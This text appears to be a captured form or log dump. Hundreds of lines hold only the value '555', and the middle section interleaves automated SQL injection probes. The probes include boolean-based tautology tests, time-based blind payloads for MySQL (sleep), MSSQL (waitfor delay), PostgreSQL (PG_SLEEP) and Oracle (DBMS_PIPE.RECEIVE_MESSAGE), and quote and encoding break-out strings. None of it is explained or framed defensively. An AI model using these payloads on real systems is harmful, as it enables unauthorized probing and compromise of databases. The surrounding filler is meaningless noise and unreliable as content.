555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
-1 OR 2+144-144-1=0+0+0+1 --
555
555
-1 OR 3+144-144-1=0+0+0+1 --
555
555
-1 OR 3*2<(0+5+144-144) --
555
555
-1 OR 3*2>(0+5+144-144) --
555
555
-1 OR 2+611-611-1=0+0+0+1
555
555
-1 OR 3+611-611-1=0+0+0+1
555
555
-1 OR 3*2<(0+5+611-611)
555
555
-1 OR 3*2>(0+5+611-611)
555
555
-1' OR 2+867-867-1=0+0+0+1 --
555
555
-1' OR 3+867-867-1=0+0+0+1 --
555
555
-1' OR 3*2<(0+5+867-867) --
555
555
-1' OR 3*2>(0+5+867-867) --
555
555
-1' OR 2+975-975-1=0+0+0+1 or 'BSscPUAJ'='
555
555
-1' OR 3+975-975-1=0+0+0+1 or 'BSscPUAJ'='
555
-1 OR 2+816-816-1=0+0+0+1 --
-1' OR 3*2<(0+5+975-975) or 'BSscPUAJ'='
555
-1 OR 3+816-816-1=0+0+0+1 --
-1' OR 3*2>(0+5+975-975) or 'BSscPUAJ'='
555
-1 OR 3*2<(0+5+816-816) --
-1" OR 2+695-695-1=0+0+0+1 --
555
-1 OR 3*2>(0+5+816-816) --
-1" OR 3+695-695-1=0+0+0+1 --
555
-1 OR 2+231-231-1=0+0+0+1
-1" OR 3*2<(0+5+695-695) --
555
-1 OR 3+231-231-1=0+0+0+1
-1" OR 3*2>(0+5+695-695) --
555
-1 OR 3*2<(0+5+231-231)
555*if(now()=sysdate(),sleep(15),0)
555
-1 OR 3*2>(0+5+231-231)
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
555
-1' OR 2+214-214-1=0+0+0+1 --
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
555
-1' OR 3+214-214-1=0+0+0+1 --
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
555
-1' OR 3*2<(0+5+214-214) --
555-1; waitfor delay '0:0:15' --
555
-1' OR 3*2>(0+5+214-214) --
555-1); waitfor delay '0:0:15' --
555
-1' OR 2+161-161-1=0+0+0+1 or 'yPc924xZ'='
555-1)); waitfor delay '0:0:15' --
555
-1' OR 3+161-161-1=0+0+0+1 or 'yPc924xZ'='
555-1 waitfor delay '0:0:15' --
-1 OR 2+401-401-1=0+0+0+1 --
-1' OR 3*2<(0+5+161-161) or 'yPc924xZ'='
555A3BHaH3L'; waitfor delay '0:0:15' --
-1 OR 3+401-401-1=0+0+0+1 --
-1' OR 3*2>(0+5+161-161) or 'yPc924xZ'='
555LHjqcPsG'); waitfor delay '0:0:15' --
-1 OR 3*2<(0+5+401-401) --
-1" OR 2+46-46-1=0+0+0+1 --
555jf4CpOxi')); waitfor delay '0:0:15' --
-1 OR 3*2>(0+5+401-401) --
-1" OR 3+46-46-1=0+0+0+1 --
555-1 OR 360=(SELECT 360 FROM PG_SLEEP(15))--
-1 OR 2+270-270-1=0+0+0+1
-1" OR 3*2<(0+5+46-46) --
555-1) OR 804=(SELECT 804 FROM PG_SLEEP(15))--
-1 OR 3+270-270-1=0+0+0+1
-1" OR 3*2>(0+5+46-46) --
555-1)) OR 479=(SELECT 479 FROM PG_SLEEP(15))--
-1 OR 3*2<(0+5+270-270)
555*if(now()=sysdate(),sleep(15),0)
555vQ9Ku8ZI' OR 107=(SELECT 107 FROM PG_SLEEP(15))--
-1 OR 3*2>(0+5+270-270)
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
555CQazYj5x') OR 412=(SELECT 412 FROM PG_SLEEP(15))--
-1' OR 2+870-870-1=0+0+0+1 --
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
555ExAAKikM')) OR 533=(SELECT 533 FROM PG_SLEEP(15))--
-1' OR 3+870-870-1=0+0+0+1 --
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
-1' OR 3*2<(0+5+870-870) --
555-1; waitfor delay '0:0:15' --
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
-1' OR 3*2>(0+5+870-870) --
555-1); waitfor delay '0:0:15' --
555
-1' OR 2+418-418-1=0+0+0+1 or 'lqzvoUn7'='
555-1)); waitfor delay '0:0:15' --
555'"
-1' OR 3+418-418-1=0+0+0+1 or 'lqzvoUn7'='
555-1 waitfor delay '0:0:15' --
555ˤˢ%2527%2522\'\"
-1' OR 3*2<(0+5+418-418) or 'lqzvoUn7'='
555jlErRy3h'; waitfor delay '0:0:15' --
@@20VVf
-1' OR 3*2>(0+5+418-418) or 'lqzvoUn7'='
555w5aSVSNc'); waitfor delay '0:0:15' --
555
-1" OR 2+659-659-1=0+0+0+1 --
555YQ4VmqPA')); waitfor delay '0:0:15' --
555
-1" OR 3+659-659-1=0+0+0+1 --
555-1 OR 971=(SELECT 971 FROM PG_SLEEP(15))--
555
-1" OR 3*2<(0+5+659-659) --
555-1) OR 544=(SELECT 544 FROM PG_SLEEP(15))--
555
-1" OR 3*2>(0+5+659-659) --
555-1)) OR 313=(SELECT 313 FROM PG_SLEEP(15))--
555
555*if(now()=sysdate(),sleep(15),0)
555lBx5gIf4' OR 745=(SELECT 745 FROM PG_SLEEP(15))--
555
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
555JIztUHgL') OR 796=(SELECT 796 FROM PG_SLEEP(15))--
555
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
555l1gGFM0F')) OR 866=(SELECT 866 FROM PG_SLEEP(15))--
555
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555
555-1; waitfor delay '0:0:15' --
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555
555-1); waitfor delay '0:0:15' --
555
555
555-1)); waitfor delay '0:0:15' --
555'"
555
555-1 waitfor delay '0:0:15' --
555ˤˢ%2527%2522\'\"
555
5553lnFi8Zu'; waitfor delay '0:0:15' --
@@nN6KU
555
5553jhnQTTA'); waitfor delay '0:0:15' --
555
555
555NhKRT1YV')); waitfor delay '0:0:15' --
555
555
555-1 OR 795=(SELECT 795 FROM PG_SLEEP(15))--
555
555
555-1) OR 668=(SELECT 668 FROM PG_SLEEP(15))--
555
555
555-1)) OR 520=(SELECT 520 FROM PG_SLEEP(15))--
555
555
555YDFeOOac' OR 935=(SELECT 935 FROM PG_SLEEP(15))--
555
555
5552IZUMpui') OR 756=(SELECT 756 FROM PG_SLEEP(15))--
555
555
555nhxLoDEs')) OR 322=(SELECT 322 FROM PG_SLEEP(15))--
555
555
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555
555
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555
555
555
555
555
555'"
555
555
555ˤˢ%2527%2522\'\"
555
555
@@8TwW1
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555